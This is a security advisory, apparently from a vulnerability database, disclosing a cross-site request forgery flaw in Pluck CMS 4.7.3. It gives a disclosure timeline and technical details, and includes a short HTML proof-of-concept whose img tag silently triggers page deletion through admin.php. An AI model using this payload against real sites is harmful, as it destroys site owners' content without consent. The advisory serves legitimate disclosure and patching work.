Pluck 4.7.3 Delete Files Cross Site Request Forgery

🗓️ 14 Oct 2016 00:00:00Reported by ZwXType
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Pluck 4.7.3 CSRF vulnerability allows remote attackers to delete website pages via non-expired session credentials
`i>>?Document Title:  
===============  
Pluck 4.7.3 - (Delete Files) CSRF Vulnerability  
  
  
Release Date:  
=============  
2016-10-12  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2016-10-12 : Discovery of the Vulnerability  
2016-10-12 : Contact the Vendor (No Respose)  
2016-10-17 : Public Disclosure  
  
  
Product & Service Introduction:  
===============================  
Pluck, also known as pluck-cms, is an open source content management system, written in the PHP scripting language.   
It allows for webpage creation for users with little or no programming experience, and, unlike most content management systems, does not use a database to store its data. Pluck also includes a module system, which allows developers to integrate custom functionality into the system.  
  
(Copy of the Vendor Homepage: http://www.pluck-cms.org/ )  
  
  
Affected Product(s):  
====================  
Product: Pluck v4.7.3 - Content Management System  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A cross site request forgery web vulnerability has been discovered in the official Pluck v4.7.3 web-application.  
The issue allows remote attackers to manipulate client-side browser to web-application requests to execute service functions   
via non-expired session credentials.  
  
The cross site request forgery vulnerability is located in the cms `var1` parameter of the `admin.php` module POST method request.  
In the absence of a security token an attacker can execute code arbitrary against administrator account to permanenly delete   
the pages of the website via panel. Due to the infrastructure the issue becomes more critical without a checkbox to confirm   
the delete of any page.  
  
  
  
Proof of Concept (PoC):  
=======================  
The csrf web vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
---PoC: Exploitation---  
<html>  
<title>Delete Pages CSRF</title>  
<!-- Cross Site Request Forgery -->  
<meta http-equiv="refresh" content="0">  
<img src="http://localhost:8080/admin.php?action=deletepage&var1=[VULNERABILITY-LAB]"/>  
</meta>  
</html>  
  
  
Reference(s):  
http://localhost:8080/  
http://localhost:8080/login.php  
http://localhost:8080/admin.php  
http://localhost:8080/admin.php?action=  
http://localhost:8080/admin.php?action=deletepage  
http://localhost:8080/admin.php?action=deletepage&var1=  
  
  
[+] Disclaimer [+]  
===================  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.  
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.  
  
  
Domain: www.zwx.fr  
Contact: [email protected]   
Social: twitter.com/XSSed.fr  
Feeds: www.zwx.fr/feed/  
Advisory: www.vulnerability-lab.com/show.php?user=ZwX  
packetstormsecurity.com/files/author/12026/  
cxsecurity.com/search/author/DESC/AND/FIND/0/10/ZwX/  
0day.today/author/27461  
  
  
Copyright A(c) 2016 | ZwX - Security Researcher (Software & web application)  
`
14 Oct 2016 00:00Current
0.3Low risk
Vulners AI Score0.3